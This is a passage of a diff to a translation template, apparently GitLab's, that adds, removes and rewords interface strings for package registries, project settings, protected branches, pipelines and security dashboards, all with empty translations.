-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19863,6 +20356,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -20055,6 +20551,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -20118,6 +20620,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20253,6 +20758,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20575,6 +21083,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20625,9 +21142,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20793,6 +21307,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20838,6 +21355,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20904,7 +21424,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20955,6 +21475,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -21042,6 +21565,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21213,6 +21739,38 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21327,6 +21885,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21459,10 +22026,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21552,9 +22116,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21579,9 +22140,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21612,6 +22170,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21701,12 +22262,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21725,9 +22280,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21740,10 +22292,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21758,6 +22313,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21809,6 +22367,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21917,12 +22478,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21953,6 +22520,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21971,6 +22541,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22022,6 +22595,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -22046,9 +22622,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -22085,15 +22658,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22145,27 +22745,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22403,10 +22982,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22487,7 +23075,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22736,9 +23324,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22757,6 +23342,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22832,6 +23420,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22901,9 +23501,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -23054,10 +23651,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -23093,6 +23690,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23231,6 +23840,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23255,6 +23870,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23279,6 +23897,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23537,7 +24158,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23927,6 +24548,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23942,49 +24566,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -24038,25 +24695,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -24068,7 +24728,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -24080,7 +24740,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -24092,10 +24752,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -24128,10 +24788,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24155,15 +24818,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24194,7 +24851,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24203,7 +24860,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24224,16 +24881,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24245,12 +24899,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24278,10 +24935,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24815,6 +25472,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24836,7 +25502,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24857,6 +25523,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -25031,7 +25700,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25220,7 +25889,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25389,7 +26058,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25401,7 +26070,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25425,6 +26094,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25473,9 +26145,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25722,6 +26391,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25771,7 +26443,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25799,6 +26471,12 @@ msgstr[4] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25925,6 +26603,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -26021,6 +26702,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26341,7 +27025,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26485,6 +27172,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26518,9 +27208,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26617,6 +27304,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26635,6 +27325,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26659,9 +27352,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26713,6 +27403,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26764,6 +27457,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26773,6 +27469,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -27011,6 +27710,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -27086,13 +27788,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -27101,10 +27809,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -27119,6 +27827,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27176,16 +27887,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27251,15 +27974,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27311,9 +28025,6 @@ msgstr ""
